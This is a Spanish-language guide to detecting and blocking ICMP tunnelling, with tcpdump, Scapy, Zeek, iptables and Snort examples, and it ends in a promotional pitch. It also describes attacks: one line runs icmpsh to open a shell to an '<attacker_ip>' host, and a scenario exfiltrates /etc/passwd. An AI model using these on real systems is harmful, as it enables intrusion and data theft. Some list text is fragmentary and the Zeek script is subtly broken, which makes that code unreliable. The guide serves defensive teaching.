
El túnel ICMP, a veces llamado "ataques encubiertos basados en ping", es una técnica de ataque de red sigilosa donde los actores maliciosos ocultan tráfico de comando y control (C2) o actividades de exfiltración de datos dentro de paquetes del Protocolo de Mensajes de Control de Internet (ICMP) que de otro modo serían benignos. Debido a que el ICMP, comúnmente conocido por las solicitudes de ping, generalmente pasa desapercibido por los sistemas de detección de intrusos y cortafuegos, representa un desafío serio para los equipos de seguridad de TI.
En esta guía, explicaremos qué es el túnel ICMP, cómo los atacantes lo implementan, por qué es un método atractivo para la evasión y, lo más importante, cómo los profesionales de seguridad y los administradores de red pueden detectar y defenderse contra los ataques de túnel ICMP. Iremos desde explicaciones para principiantes hasta detección avanzada, incluyendo ejemplos del mundo real y muestras de código para escanear, monitorear y analizar el tráfico de red en búsqueda de actividad de túnel ICMP.
El Protocolo de Mensajes de Control de Internet (ICMP) es una parte fundamental del conjunto de protocolos de Internet. Está diseñado para mensajes de error, diagnósticos de red y mensajes de estado.
Datos Clave:
ping), Destino Inalcanzable, Tiempo Excedido, entre otros.ping, traceroute), informes de errores entre dispositivos de red.Cuando ejecutas:
ping google.com
Tu computadora genera una serie de paquetes de Solicitud de Eco ICMP, y Google (si permite el ping) responde con paquetes de Respuesta de Eco ICMP.
El túnel ICMP es una técnica que encapsula datos de carga útil arbitrarios dentro de paquetes ICMP. Estos datos pueden incluir archivos siendo exfiltrados, comandos de shell, o incluso una conexión TCP completa, todo oculto dentro de solicitudes o respuestas de ping que parecen normales.
Debido a que las organizaciones a menudo permiten el tráfico ICMP a través de sus cortafuegos perimetrales (para depuración legítima), los atacantes explotan esta confianza para pasar datos ocultos o crear puertas traseras en una red.
Definición:
El túnel ICMP es un método de comunicación encubierto donde los atacantes codifican datos maliciosos o no autorizados dentro de paquetes ICMP para eludir los controles de acceso de red.
El túnel ICMP aprovecha la estructura de los paquetes ICMP—especialmente Solicitud/Respuesta de Eco—para transportar datos extras, ocultos.
icmpsh, ptunnel, o scripts personalizados.Un paquete normal de Solicitud de Eco ICMP podría verse así:
| Campo | Valor de Ejemplo |
|---|---|
| Tipo | 8 (Solicitud de Eco) |
| Código | 0 |
| Checksum | 6920 |
| Identificador | 13 |
| Número de Secuencia | 250 |
| Datos | "¡Hola, mundo!" |
Un ataque de túnel ICMP podría colocar datos exfiltrados codificados en base64 en la sección "Datos".
Los cortafuegos típicamente bloquean conexiones externas directas (por ejemplo, SSH saliente, exfiltración a través de HTTP/S).
Sin embargo, el ICMP es frecuentemente blanco para permitir la solución de problemas de red, incluso a través de límites organizacionales.
Los agentes de amenaza persistente avanzada (APT) usan túneles ICMP para gestionar hosts comprometidos, enviar comandos y extraer archivos, todo sin levantar alertas típicas de red.
Una gama de herramientas de seguridad ofensivas de código abierto soportan el túnel ICMP:
Una amenaza interna o malware en una estación de trabajo desea sacar archivos sensibles de la organización.
Pasos:
/etc/passwd) se dividen, codifican y ocultan dentro de múltiples Solicitudes de Eco.Los evaluadores de penetración y atacantes despliegan herramientas como icmpsh:
icmpsh -t <attacker_ip>.Han surgido informes de APTs y malware (notablemente Backdoor.Win32.ICMPdoor) que aprovechan el túnel ICMP para acceso persistente en entornos de alta seguridad que de otro modo bloquean todo lo saliente excepto HTTP/HTTPS—y ICMP.
La detección del túnel ICMP se basa en identificar patrones anómalos o inspeccionar las cargas útiles de los paquetes ICMP.
Una herramienta de captura de paquetes utilizada a menudo para inspeccionar el tráfico ICMP.
# Capturar todo el tráfico ICMP, salida verbosa
sudo tcpdump -n -v icmp
Salida sospechosa de ejemplo (truncada):
IP 10.10.10.5 > 203.0.113.10: Solicitud de Eco ICMP, id 4567, secuencia 3344, longitud 1024
Nota: ¡1024 bytes es mucho más grande que las cargas útiles de ping ICMP normales!
Un analizador de paquetes gráfico.
icmpUna poderosa herramienta de monitoreo de seguridad de red con scripts ICMP integrados.
Script para registrar cargas útiles ICMP anormales:
event icmp_message(c: connection, icmp: icmp_hdr)
{
if ( c$id$orig_h !in Site::internal_networks )
{
# Registrar o alertar sobre cargas útiles grandes
if ( c$payload && |c$payload| > 500 )
local alert = fmt("Carga ICMP grande de %s a %s", c$id$orig_h, c$id$resp_h);
}
}
Ejemplo en Bash: Registrar todas las cargas útiles de ping salientes.
sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"
Ejemplo en Python: Analizar pcap para cargas útiles ICMP anormales
from scapy.all import *
def scan_icmp_pcap(pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP):
if len(pkt[ICMP].payload) > 100:
print(f"ICMP sospechoso de {pkt[IP].src} a {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")
scan_icmp_pcap('capture.pcap')
Para cazar proactivamente el mal uso del túnel ICMP, los escaneos regulares y la detección de anomalías son vitales.
Utilizar herramientas como ELK stack, Zeek, Wireshark para:
Encontrar paquetes ICMP más grandes en tiempo real:
sudo tcpdump -ni eth0 icmp and greater 200
Listar tamaños de paquetes desde el volcado:
sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr
Python Scapy: Reportar solicitudes de eco con cargas útiles grandes
from scapy.all import *
def detect_large_icmp(pcap_file):
for pkt in rdpcap(pcap_file):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if len(pkt[ICMP].payload) > 200:
print(f"Solicitud de Eco ICMP grande: {pkt[IP].src} -> {pkt[IP].dst}, tamaño={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")
Ejemplo: Bloquear ICMP saliente con iptables
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP
Ejemplo de Regla Snort:
alert icmp any any -> any any (msg:"Tamaño de Carga ICMP Sospechoso"; dsize:>200; sid:1000001; rev:1;)
La investigación ha demostrado que el monitoreo sin estado—seguimiento de los flujos y tamaños de los paquetes ICMP, no solo su estado o secuencia—puede ser una forma escalable y de bajo impacto para detectar túneles.
Según Singh & Nordström, los modelos sin estado pueden señalar efectivamente canales encubiertos sin impactar significativamente a los hosts finales o routers, incluso a gran escala.
El túnel ICMP representa una amenaza silenciosa que se mezcla sin problemas con las operaciones legítimas de red, lo que hace que la detección y defensa sean un desafío para los equipos de seguridad. Con el uso extendido del ICMP para diagnósticos y la frecuencia con la que las organizaciones permiten dicho tráfico a través de sus cortafuegos, es un vehículo preferido por los atacantes para establecer comando y control encubierto, exfiltrar datos sensibles o acceder a hosts comprometidos.
Al establecer una línea base de la actividad legítima de ICMP en tu red y emplear tanto la detección basada en firmas como la basada en anomalías, tu organización puede neutralizar este vector de amenaza sigiloso antes de que resulte en pérdida de datos o un compromiso mayor.
¡Asegura tu perímetro y nunca ignores el humilde ping!
Si encontraste este contenido valioso, imagina lo que podrías lograr con nuestro programa de capacitación élite integral de 47 semanas. Únete a más de 1.200 estudiantes que han transformado sus carreras con las técnicas de la Unidad 8200.